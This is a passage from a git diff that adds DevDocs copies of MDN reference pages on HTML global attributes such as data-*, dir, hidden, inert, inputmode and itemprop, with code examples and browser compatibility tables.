If you plan to use HTMLElement.dataset, the portion of the attribute name following the data- can only include characters allowed in JavaScript property names (and hyphens, which will be removed). The dataset version of the attribute name removes the "data-" prefix and converts the rest of the name from kebab-case to camelCase. For example, element.getAttribute("data-test") is equivalent to element.dataset.test and data-test-abc will be accessible as HTMLElement.dataset.testAbc (or by HTMLElement.dataset["testAbc"]). Avoid non-alphabetic characters following a hyphen, such as data-test-1 or data--test, as they will not be recognized by HTMLElement.dataset.

+
+

Usage

+
+

By adding data-* attributes, even ordinary HTML elements can become rather complex and powerful program-objects. For example, a space-ship "sprite" in a game could be a simple <img> element with a class attribute and several data-* attributes:

+

html

+
<img
+  class="spaceship cruiserX3"
+  src="shipX3.png"
+  data-ship-id="324"
+  data-weapons="laserI laserII"
+  data-shields="72%"
+  data-x="414354"
+  data-y="85160"
+  data-z="31940"
+  onclick="spaceships[this.dataset.shipId].blasted()" />
+
+

For a more in-depth tutorial about using HTML data attributes, see Using data attributes.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-data-*
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
data-*7126Yes155.14.41861451.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/data-* +

+
diff --git a/devdocs/html/global_attributes%2Fdir.html b/devdocs/html/global_attributes%2Fdir.html new file mode 100644 index 00000000..4f4bc342 --- /dev/null +++ b/devdocs/html/global_attributes%2Fdir.html @@ -0,0 +1,61 @@ +

dir

The dir global attribute is an enumerated attribute that indicates the directionality of the element's text.

+

Try it

+
+

It can have the following values:

Note: This attribute is mandatory for the <bdo> element where it has a different semantic meaning.

  • This attribute is not inherited by the <bdi> element. If not set, its value is auto.
  • This attribute can be overridden by the CSS properties direction and unicode-bidi, if a CSS page is active and the element supports these properties.
  • As the directionality of the text is semantically related to its content and not to its presentation, it is recommended that web developers use this attribute instead of the related CSS properties when possible. That way, the text will display correctly even on a browser that doesn't support CSS or has the CSS deactivated.
  • The auto value should be used for data with an unknown directionality, like data coming from user input, eventually stored in a database.

Note: Browsers might allow users to change the directionality of <input> and <textarea>s in order to assist with authoring content. Chrome and Safari provide a directionality option in the contextual menu of input fields while Legacy Edge uses the key combinations Ctrl + Left Shift and Ctrl + Right Shift. Firefox uses Ctrl/Cmd + Shift + X but does NOT update the dir attribute value.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-dir-attribute
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
dir1791No15≤44.418414≤3.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/dir +

+
diff --git a/devdocs/html/global_attributes%2Fdraggable.html b/devdocs/html/global_attributes%2Fdraggable.html new file mode 100644 index 00000000..cd4f8b99 --- /dev/null +++ b/devdocs/html/global_attributes%2Fdraggable.html @@ -0,0 +1,57 @@ +

draggable

+

The draggable global attribute is an enumerated attribute that indicates whether the element can be dragged, either with native browser behavior or the HTML Drag and Drop API.

The draggable attribute may be applied to elements that strictly fall under the HTML namespace, which means that it cannot be applied to SVGs. For more information about what namespace declarations look like, and what they do, see Namespace crash course.

draggable can have the following values:

Warning: This attribute is enumerated and not Boolean. A value of true or false is mandatory, and shorthand like <img draggable> is forbidden. The correct usage is <img draggable="false">.

If this attribute is not set, its default value is auto, which means drag behavior is the default browser behavior: only text selections, images, and links can be dragged. For other elements, the event ondragstart must be set for drag and drop to work, as shown in this comprehensive example.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-draggable-attribute
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
draggable4122Yes1254.4184144.21.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/draggable +

+
diff --git a/devdocs/html/global_attributes%2Fenterkeyhint.html b/devdocs/html/global_attributes%2Fenterkeyhint.html new file mode 100644 index 00000000..83e0237c --- /dev/null +++ b/devdocs/html/global_attributes%2Fenterkeyhint.html @@ -0,0 +1,66 @@ +

enterkeyhint

The enterkeyhint global attribute is an enumerated attribute defining what action label (or icon) to present for the enter key on virtual keyboards.

+

Try it

+
+

Description

+
+

Form controls (such as <textarea> or <input> elements) or elements using contenteditable can specify an inputmode attribute to control what kind of virtual keyboard will be used. To further improve the user's experience, the enter key can be customized specifically by providing an enterkeyhint attribute indicating how the enter key should be labeled (or which icon should be shown). The enter key usually represents what the user should do next; typical actions are: sending text, inserting a new line, or searching.

If no enterkeyhint attribute is provided, the user agent might use contextual information from the inputmode, type, or pattern attributes to display a suitable enter key label (or icon).

+
+

Values

+
+

The enterkeyhint attribute is an enumerated attribute and only accepts the following values:

Value Description Example label (depends on user agent and user language)
enterkeyhint="enter" Typically inserting a new line. ↵
enterkeyhint="done" Typically meaning there is nothing more to input and the input method editor (IME) will be closed. Done
enterkeyhint="go" Typically meaning to take the user to the target of the text they typed. Open
enterkeyhint="next" Typically taking the user to the next field that will accept text. Next
enterkeyhint="previous" Typically taking the user to the previous field that will accept text. Previous
enterkeyhint="search" Typically taking the user to the results of searching for the text they have typed. Search
enterkeyhint="send" Typically delivering the text to its target. Send
+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-enterkeyhint
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
enterkeyhint777994No6613.17777945713.412.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/enterkeyhint +

+
diff --git a/devdocs/html/global_attributes%2Fexportparts.html b/devdocs/html/global_attributes%2Fexportparts.html new file mode 100644 index 00000000..cbb80f48 --- /dev/null +++ b/devdocs/html/global_attributes%2Fexportparts.html @@ -0,0 +1,55 @@ +

exportparts

+

The exportparts global attribute allows you to select and style elements existing in nested shadow trees, by exporting their part names.

The shadow tree is an isolated structure where identifiers, classes, and styles cannot be reached by selectors or queries belonging to a regular DOM. To apply a style to an element living in a shadow tree, by CSS rule created outside of it, part global attribute has to be used. It has to be assigned to an element present in Shadow Tree, and its value should be some identifier. Rules present outside of the shadow tree, must use the ::part pseudo-element, containing the same identifier as the argument.

The global attribute part makes the element visible on just a single level of depth. When the shadow tree is nested, parts will be visible only to the parent of the shadow tree but not to its ancestor. Exporting parts further down is exactly what exportparts attribute is for.

Attribute exportparts must be placed on a shadow Host, which is the element to which the shadow tree is attached. The value of the attribute should be a comma-separated list of part names present in the shadow tree and which should be made available via a DOM outside of the current structure.

+
+

Specifications

+
+ + +
Specification
CSS Shadow Parts
# element-attrdef-html-global-exportparts
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
exportparts737972No6013.1737379?13.411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/exportparts +

+
diff --git a/devdocs/html/global_attributes%2Fhidden.html b/devdocs/html/global_attributes%2Fhidden.html new file mode 100644 index 00000000..7ab5cf9a --- /dev/null +++ b/devdocs/html/global_attributes%2Fhidden.html @@ -0,0 +1,140 @@ +

hidden

The hidden global attribute is an enumerated attribute indicating that the browser should not render the contents of the element. For example, it can be used to hide elements of the page that can't be used until the login process has been completed.

+

Try it

+
+

Description

+
+

The hidden attribute is used to indicate that the content of an element should not be presented to the user. This attribute can take any one of the following values:

There are two states associated with the hidden attribute: the hidden state and the hidden until found state.

Thus, all the following set the element to the hidden state:

+

html

+
<span hidden>I'm hidden</span>
+<span hidden="hidden">I'm also hidden</span>
+<span hidden="something else">I'm hidden too!</span>
+
+

The following sets the element to the hidden until found state:

+

html

+
<span hidden="until-found">I'm hidden until found</span>
+
+

The hidden attribute must not be used to hide content just from one presentation. If something is marked hidden, it is hidden from all presentations, including, for instance, screen readers.

Hidden elements shouldn't be linked from non-hidden elements. For example, it would be incorrect to use the href attribute to link to a section marked with the hidden attribute. If the content is not applicable or relevant, then there is no reason to link to it.

It would be fine, however, to use the ARIA aria-describedby attribute to refer to descriptions that are themselves hidden. While hiding the descriptions implies that they are not useful on their own, they could be written in such a way that they are useful in the specific context of being referenced from the element that they describe.

Similarly, a canvas element with the hidden attribute could be used by a scripted graphics engine as an off-screen buffer, and a form control could refer to a hidden form element using its form attribute.

Elements that are descendants of a hidden element are still active, which means that script elements can still execute and form elements can still submit.

+
+

The hidden state

+
+

The hidden state indicates that the element is not currently relevant to the page, or that it is being used to declare content for reuse by other parts of the page and should not be directly presented to the user. The browser will not render elements that are in the hidden state.

Web browsers may implement the hidden state using display: none, in which case the element will not participate in page layout. This also means that changing the value of the CSS display property on an element in the hidden state will override the state. For instance, elements styled display: block will be displayed despite the hidden attribute's presence.

+
+

The hidden until found state

+
+

In the hidden until found state, the element is hidden but its content will be accessible to the browser's "find in page" feature or to fragment navigation. When these features cause a scroll to an element in a hidden until found subtree, the browser will:

This enables a developer to collapse a section of content, but make it searchable and accessible via fragment navigation.

Note that browsers typically implement hidden until found using content-visibility: hidden. This means that unlike elements in the hidden state, elements in the hidden until found state will have generated boxes, meaning that:

Also, the element needs to be affected by layout containment in order to be revealed. This means that if the element in the hidden until found state has a display value of none, contents, or inline, then the element will not be revealed by find in page or fragment navigation.

+
+

Examples

+ +

Using until-found

+
+

In this example we have:

The hidden until found element has a dotted red border and a gray background.

We also have some JavaScript that listens for the beforematch event firing on the hidden until found element. The event handler changes the text content of the box.

HTML

+

html

+
<a href="#until-found-box">Go to hidden content</a>
+
+<div>I'm not hidden</div>
+<div id="until-found-box" hidden="until-found">Hidden until found</div>
+<div>I'm not hidden</div>
+
+

CSS

+

css

+
div {
+  height: 40px;
+  width: 300px;
+  border: 5px dashed black;
+  margin: 1rem 0;
+  padding: 1rem;
+  font-size: 2rem;
+}
+
+div#until-found-box {
+  color: red;
+  border: 5px dotted red;
+  background-color: lightgray;
+}
+
+

JavaScript

+

js

+
const untilFound = document.querySelector("#until-found-box");
+untilFound.addEventListener(
+  "beforematch",
+  () => (untilFound.textContent = "I've been revealed!"),
+);
+
+

Result

Note that although the content of the element is hidden, the element still has a generated box, occupying space in the layout and with background and borders rendered.

Clicking the "Go to hidden content" button navigates to the hidden until found element. The beforematch event fires, the text content is updated, and the element content is displayed.

To run the example again, click "Reset".

+
+ + +
+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-hidden-attribute
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
hidden1012411155.141841451.0
until-found_value102102NoNoNoNo102102No70No19.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/hidden +

+
diff --git a/devdocs/html/global_attributes%2Fid.html b/devdocs/html/global_attributes%2Fid.html new file mode 100644 index 00000000..4c25a489 --- /dev/null +++ b/devdocs/html/global_attributes%2Fid.html @@ -0,0 +1,61 @@ +

id

The id global attribute defines an identifier (ID) which must be unique in the whole document. Its purpose is to identify the element when linking (using a fragment identifier), scripting, or styling (with CSS).

+

Try it

+
+

Warning: This attribute's value is an opaque string: this means that web authors should not rely on it to convey human-readable information (although having your IDs somewhat human-readable can be useful for code comprehension, e.g. consider ticket-18659 versus r45tgfe-freds&$@).

An id's value must not contain whitespace (spaces, tabs, etc.). Browsers treat non-conforming IDs that contain whitespace as if the whitespace is part of the ID. In contrast to the class attribute, which allows space-separated values, elements can only have one single ID value.

Technically, the value for an id attribute may contain any character, except whitespace characters. However, to avoid inadvertent errors, only ASCII letters, digits, '_', and '-' should be used, and the value for an id attribute should start with a letter.

For example, . has a special meaning in CSS (it starts a class selector). While valid, unless you are careful to escape it when used as part of a CSS selector, it won't be recognized as part of the element's id. The same applies to the querySelector() and querySelectorAll() parameters, which use the same selector syntax. It is easy to forget to do this, resulting in bugs in your code that could be hard to detect.

Similarly, an id starting with a digit (E.g., 1234-322-678) or a hyphen followed by a digit (E.g., -123), though valid in HTML, may lead to problems when used in CSS, JavaScript, and Web APIs:

+
+

Specifications

+
+ + +
Specification
HTML Standard
# global-attributes:the-id-attribute-2
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
id11232
1–32id is a true global attribute only since Firefox 32.
+		Yes1514.41832
4–32id is a true global attribute only since Firefox 32.
+		1411.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/id +

+
diff --git a/devdocs/html/global_attributes%2Finert.html b/devdocs/html/global_attributes%2Finert.html new file mode 100644 index 00000000..c416cb3a --- /dev/null +++ b/devdocs/html/global_attributes%2Finert.html @@ -0,0 +1,66 @@ +

inert

+

The inert global attribute is a Boolean attribute indicating that the browser will ignore the element. With the inert attribute, all of the element's flat tree descendants (such as modal <dialog>s) that don't otherwise escape inertness are ignored. The inert attribute also makes the browser ignore input events sent by the user, including focus-related events and events from assistive technologies.

Specifically, inert does the following:

+

html

+
<body inert>
+  <!-- content -->
+</body>
+
+

The inert attribute can be added to sections of content that should not be interactive. When an element is inert, it along with all of the element's descendants, including normally interactive elements such as links, buttons, and form controls are disabled because they cannot receive focus or be clicked.

The inert attribute can also be added to elements that should be offscreen or hidden. An inert element, along with its descendants, gets removed from the tab order and accessibility tree.

Note: While inert is a global attribute and can be applied to any element, it is generally used for sections of content. To make individual controls "inert", consider using the disabled attribute, along with CSS :disabled styles, instead.

+
+

Accessibility concerns

+
+

Use careful consideration for accessibility when applying the inert attribute. By default, there is no visual way to tell whether or not an element or its subtree is inert. As a web developer, it is your responsibility to clearly indicate the content parts that are active and those that are inert.

While providing visual and non-visual cues about content inertness, also remember that the visual viewport may contain only sections of content. Users may be zoomed in to a small section of content, or users may not be able to view the content at all. Inert sections not being obviously inert can lead to frustration and bad user experience.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# the-inert-attribute
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
inert102102112No8815.51021021127015.519.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inert +

+
diff --git a/devdocs/html/global_attributes%2Finputmode.html b/devdocs/html/global_attributes%2Finputmode.html new file mode 100644 index 00000000..8cfc1cd3 --- /dev/null +++ b/devdocs/html/global_attributes%2Finputmode.html @@ -0,0 +1,61 @@ +

inputmode

+

The inputmode global attribute is an enumerated attribute that hints at the type of data that might be entered by the user while editing the element or its contents. This allows a browser to display an appropriate virtual keyboard.

It is used primarily on <input> elements, but is usable on any element in contenteditable mode.

It's important to understand that the inputmode attribute doesn't cause any validity requirements to be enforced on input. To require that input conforms to a particular data type, choose an appropriate <input> element type. For specific guidance on choosing <input> types, see the Values section.

+
+

Values

+
+

The attribute can have any of the following values:

none

No virtual keyboard. For when the page implements its own keyboard input control.

+text (default value)

Standard input keyboard for the user's current locale.

decimal

Fractional numeric input keyboard containing the digits and decimal separator for the user's locale (typically . or ,). Devices may or may not show a minus key (-).

numeric

Numeric input keyboard, but only requires the digits 0–9. Devices may or may not show a minus key.

tel

A telephone keypad input, including the digits 0–9, the asterisk (*), and the pound (#) key. Inputs that *require* a telephone number should typically use <input type="tel"> instead.

A virtual keyboard optimized for search input. For instance, the return/submit key may be labeled "Search", along with possible other optimizations. Inputs that require a search query should typically use <input type="search"> instead.

email

A virtual keyboard optimized for entering email addresses. Typically includes the @character as well as other optimizations. Inputs that require email addresses should typically use <input type="email"> instead.

url

A keypad optimized for entering URLs. This may have the / key more prominent, for example. Enhanced features could include history access and so on. Inputs that require a URL should typically use <input type="url"> instead.

+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-inputmode
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
inputmode66799517–23No53No6666794712.29.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/inputmode +

+
diff --git a/devdocs/html/global_attributes%2Fis.html b/devdocs/html/global_attributes%2Fis.html new file mode 100644 index 00000000..dab03631 --- /dev/null +++ b/devdocs/html/global_attributes%2Fis.html @@ -0,0 +1,79 @@ +

is

+

The is global attribute allows you to specify that a standard HTML element should behave like a defined custom built-in element (see Using custom elements for more details).

This attribute can only be used if the specified custom element name has been successfully defined in the current document, and extends the element type it is being applied to.

+
+

Examples

+
+

The following code is taken from our word-count-web-component example (see it live also).

+

js

+
// Create a class for the element
+class WordCount extends HTMLParagraphElement {
+  constructor() {
+    // Always call super first in constructor
+    super();
+
+    // Constructor contents omitted for brevity
+    // …
+  }
+}
+
+// Define the new element
+customElements.define("word-count", WordCount, { extends: "p" });
+
+
+

html

+
<p is="word-count"></p>
+
+
+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-is
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
is677963No54No67676348No9.0
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/is +

+
diff --git a/devdocs/html/global_attributes%2Fitemid.html b/devdocs/html/global_attributes%2Fitemid.html new file mode 100644 index 00000000..700a484b --- /dev/null +++ b/devdocs/html/global_attributes%2Fitemid.html @@ -0,0 +1,81 @@ +

itemid

+

The itemid global attribute provides microdata in the form of a unique, global identifier of an item.

An itemid attribute can only be specified for an element that has both itemscope and itemtype attributes. Also, itemid can only be specified on elements that possess an itemscope attribute whose corresponding itemtype refers to or defines a vocabulary that supports global identifiers.

The exact meaning of an itemtype's global identifier is provided by the definition of that identifier within the specified vocabulary. The vocabulary defines whether several items with the same global identifier can coexist and, if so, how items with the same identifier are handled.

Note: The WHATWG definition specifies that an itemid must be a URL. However, the following example correctly illustrates that a URN may also be used. This inconsistency may reflect the incomplete nature of the Microdata specification.

+
+

Examples

+ +

Representing structured data for a book

+
+

This example uses microdata attributes to represent the following structured data:

itemscope itemtype: itemid https://schema.org/Book: urn:isbn:0-374-22848-5
itemprop title Owls of the Eastern Ice
itemprop author Jonathan C Slaght
itemprop datePublished 2020-08-04

HTML

+

html

+
<dl
+  itemscope
+  itemtype="https://schema.org/Book"
+  itemid="urn:isbn:0-374-22848-5<">
+  <dt>Title</dt>
+  <dd itemprop="title">Owls of the Eastern Ice</dd>
+  <dt>Author</dt>
+  <dd itemprop="author">Jonathan C Slaght</dd>
+  <dt>Publication date</dt>
+  <dd>
+    <time itemprop="datePublished" datetime="2020-08-04">August 4 2020</time>
+  </dd>
+</dl>
+
+

Result

+
+ + +
+
+

Specifications

+
+ + +
Specification
HTML Standard
# attr-itemid
+

Browser compatibility

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
DesktopMobile
ChromeEdgeFirefoxInternet ExplorerOperaSafariWebView AndroidChrome AndroidFirefox for AndroidOpera AndroidSafari on IOSSamsung Internet
itemidYes12YesYesYesYesYesYesYesYesYesYes
+

See also

+
+

+ © 2005–2023 MDN contributors.
Licensed under the Creative Commons Attribution-ShareAlike License v2.5 or later.
+ https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/itemid +

+
diff --git a/devdocs/html/global_attributes%2Fitemprop.html b/devdocs/html/global_attributes%2Fitemprop.html new file mode 100644 index 00000000..8d2500aa --- /dev/null +++ b/devdocs/html/global_attributes%2Fitemprop.html @@ -0,0 +1,292 @@ +

itemprop

The itemprop global attribute is used to add properties to an item. Every HTML element can have an itemprop attribute specified, and an itemprop consists of a name-value pair. Each name-value pair is called a property, and a group of one or more properties forms an item. Property values are either a string or a URL and can be associated with a very wide range of elements including <audio>, <embed>, <iframe>, <img>, <link>, <object>, <source>, <track>, and <video>.

+

Examples

+

The example below shows the source for a set of elements marked up with itemprop attributes, followed by a table showing the resulting structured data.

+

HTML

+
+

html

+
<div itemscope itemtype="http://schema.org/Movie">
+  <h1 itemprop="name">Avatar</h1>
+  <span>
+    Director:
+    <span itemprop="director">James Cameron</span>
+    (born August 16, 1954)
+  </span>
+  <span itemprop="genre">Science fiction</span>
+  <a href="../movies/avatar-theatrical-trailer.html" itemprop="trailer">
+    Trailer
+  </a>
+</div>
+
+
+

Structured data

+
Item
itemprop name itemprop value
itemprop name Avatar
itemprop director James Cameron
itemprop genre Science fiction
itemprop trailer ../movies/avatar-theatrical-trailer.html
+

Properties

+

Properties have values that are either a string or a URL. When a string value is a URL, it is expressed using the <a> element and its href attribute, the <img> element and its src attribute, or other elements that link to or embed external resources.

+

Three properties with values that are strings

+
+

html

+
<div itemscope>
+  <p>My name is <span itemprop="name">Neil</span>.</p>
+  <p>My band is called <span itemprop="band">Four Parts Water</span>.</p>
+  <p>I am <span itemprop="nationality">British</span>.</p>
+</div>
+
+
+

One property, "image", whose value is a URL

+
+
+

html

+
<div itemscope>
+  <img itemprop="image" src="google-logo.png" alt="Google" />
+</div>
+
+

When a string value can't be easily read and understood by a person (e.g., a long string of numbers and letters), it can be displayed using the value attribute of the data element, with the more easily-understood-by-a human-version given in the element's contents (which is not part of the structured data - see example below).

+
+

An item with a property whose value is a product ID

+
+

The ID is not human-friendly, so the product's name is used instead.

+

html

+
<h1 itemscope>
+  <data itemprop="product-id" value="9678AOU879">The Instigator 2000</data>
+</h1>
+
+

For numeric data, the meter element and its value attribute can be used.

+
+

A meter element

+
+
+

html

+
<div itemscope itemtype="http://schema.org/Product">
+  <span itemprop="name">Panasonic White 60L Refrigerator</span>
+  <img src="panasonic-fridge-60l-white.jpg" alt="" />
+  <div
+    itemprop="aggregateRating"
+    itemscope
+    itemtype="http://schema.org/AggregateRating">
+    <meter itemprop="ratingValue" min="0" value="3.5" max="5">
+      Rated 3.5/5
+    </meter>
+    (based on <span itemprop="reviewCount">11</span>
+    customer reviews)
+  </div>
+</div>
+
+

Similarly, for date- and time-related data, the time element and its datetime attribute can be used.

+
+

An item with one property, "birthday", whose value is a date

+
+
+

html

+
<div itemscope>
+  I was born on
+  <time itemprop="birthday" datetime="1984-05-10">May 10th 1984</time>.
+</div>
+
+

Properties can also be groups of name-value pairs, by putting the itemscope attribute on the element that declares the property. Each value is either a string or a group of name-value pairs (i.e. an item).

+
+

An outer item representing a person, and an inner one representing a band

+
+
+

html

+
<div itemscope>
+  <p>Name: <span itemprop="name">Amanda</span></p>
+  <p>
+    Band:
+    <span itemprop="band" itemscope>
+      <span itemprop="name">Jazz Band</span>
+      (<span itemprop="size">12</span> players)
+    </span>
+  </p>
+</div>
+
+

The outer item above has two properties, "name" and "band". The "name" is "Amanda", and the "band" is an item in its own right, with two properties, "name" and "size". The "name" of the band is "Jazz Band", and the "size" is "12". The outer item in this example is a top-level microdata item. Items that are not part of others are called top-level microdata items.

+
+

All the properties separated from their items

+
+

This example is the same as the previous one, but all the properties are separated from their items.

+

html

+
<div itemscope id="amanda" itemref="a b"></div>
+<p id="a">Name: <span itemprop="name">Amanda</span></p>
+<div id="b" itemprop="band" itemscope itemref="c"></div>
+<div id="c">
+  <p>Band: <span itemprop="name">Jazz Band</span></p>
+  <p>Size: <span itemprop="size">12</span> players</p>
+</div>
+
+

This gives the same result as the previous example. The first item has two properties, "name", set to "Amanda", and "band", set to another item. That second item has two further properties, "name", set to "Jazz Band", and "size", set to "12".

An item can have multiple properties with the same name and different values.

+
+

Ice cream with two flavors

+
+
+

html

+
<div itemscope>
+  <p>Flavors in my favorite ice cream:</p>
+  <ul>
+    <li itemprop="flavor">Lemon sorbet</li>
+    <li itemprop="flavor">Apricot sorbet</li>
+  </ul>
+</div>
+
+

This results in an item with two properties, both with the name "flavor" and having the values "Lemon sorbet" and "Apricot sorbet".

An element introducing a property can also introduce multiple properties at once, to avoid duplication when some of the properties have the same value.

+
+

An item with two properties, "favorite-color" and "favorite-fruit", both set to the value "orange"

+
+
+

html

+
<div itemscope>
+  <span
+    itemprop="favorite-color
+    favorite-fruit"
+    >orange
+  </span>
+</div>
+
+

Note: There is no relationship between the microdata and the content of the document where the microdata is marked up.

+
+

Same structured data marked up in two different ways

+
+

There is no semantic difference between the following two examples

+

html

+
<figure>
+  <img src="castle.jpeg" />
+  <figcaption>
+    <span itemscope><span itemprop="name">The Castle</span></span> (1986)
+  </figcaption>
+</figure>
+
+
+

html

+
<span itemscope><meta itemprop="name" content="The Castle" /></span>
+<figure>
+  <img src="castle.jpeg" />
+  <figcaption>The Castle (1986)</figcaption>
+</figure>
+
+

Both have a figure with a caption, and both, completely unrelated to the figure, have an item with a name-value pair with the name "name" and the value "The Castle". The only difference is that if the user drags the figcaption out of the document, the item will be included in the drag-and-drop data. The image associated with the item won't be included.

+
+

Names and values

+

A property is an unordered set of unique tokens that are case-sensitive and represent the name-value pairs. The property value must have at least one token. In the example below, each data cell is a token.

+

Names examples

+
+
Item
itemprop name + itemprop value +
itemprop country Ireland
itemprop Option 2
itemprop https://www.flickr.com/photos/nlireland/6992065114/ Ring of Kerry
itemprop img https://www.flickr.com/photos/nlireland/6992065114/
itemprop website flickr
itemprop (token) (token)

Tokens are either strings or URL's. An item is called a typed item if it is a URL. Otherwise, it is a string. Strings cannot contain a period or a colon (see below).

  1. If the item is a typed item it must be either:
    1. A defined property name, or
    2. A valid URL, which refers to the vocabulary definition, or
    3. A valid URL that is used as a proprietary item property name (i.e. one not defined in a public specification), or
  2. If the item is not a typed item it must be:
    1. A string that contains no "." (U+002E FULL STOP) characters and no ":" characters (U+003A COLON) and is used as a proprietary item property name (again, one not defined in a public specification).

Note: The rules above disallow ":" characters in non-URL values because otherwise they could not be distinguished from URLs. Values with "." characters are reserved for future extensions. Space characters are disallowed because otherwise the values would be parsed as multiple tokens.

+
+

Values

+
+

The property value of a name-value pair is as given for the first matching case in the following list:

Otherwise

If a property's value is a URL, the property must be specified using a URL property element. The URL property elements are the a, area, audio, embed, iframe, img, link, object, source, track, and video elements.

+
+

Name order

+
+

Names are unordered relative to each other, but if a particular name has multiple values, they do have a relative order.

In the following example, the "a" property has the values "1" and "2", in that order, but whether the "a" property comes before the "b" property or not is not important.

+

html

+
<div itemscope>
+  <p itemprop="a">1</p>
+  <p itemprop="a">2</p>
+  <p itemprop="b">test</p>
+</div>
+
+

Here are several equivalent examples:

+

html

+
<div itemscope>
+  <p itemprop="b">test</p>
+  <p itemprop="a">1</p>
+  <p itemprop="a">2</p>
+</div>
+
+
+

html

+
<div itemscope>
+  <p itemprop="a">1</p>
+  <p itemprop="b">test</p>
+  <p itemprop="a">2</p>
+</div>
+
+
+

html

+
<div id="x">
+  <p itemprop="a">1</p>
+</div>
+<div itemscope itemref="x">
+  <p itemprop="b">test</p>
+  <p itemprop="a">2</p>
+</div>
+
+
+
+

Representing structured data for a book

+
+

This example uses microdata attributes to represent the following structured data:

itemscope itemtype: itemid https://schema.org/Book: urn:isbn:0-374-22848-5
itemprop title Owls of the Eastern Ice
itemprop author Jonathan C Slaght
itemprop datePublished 2020-08-04

HTML

+

html

+
<dl
+  itemscope
+  itemtype="https://schema.org/Book"
+  itemid="urn:isbn:0-374-22848-5<">
+  <dt>Title</dt>
+  <dd itemprop="title">Owls of the Eastern Ice</dd>
+  <dt>Author</dt>
+  <dd itemprop="author">Jonathan C Slaght</dd>
+  <dt>Publication date</dt>
+  <dd>
+    <time itemprop="datePublished" datetime="2020-08-04">August 4 2020</time>
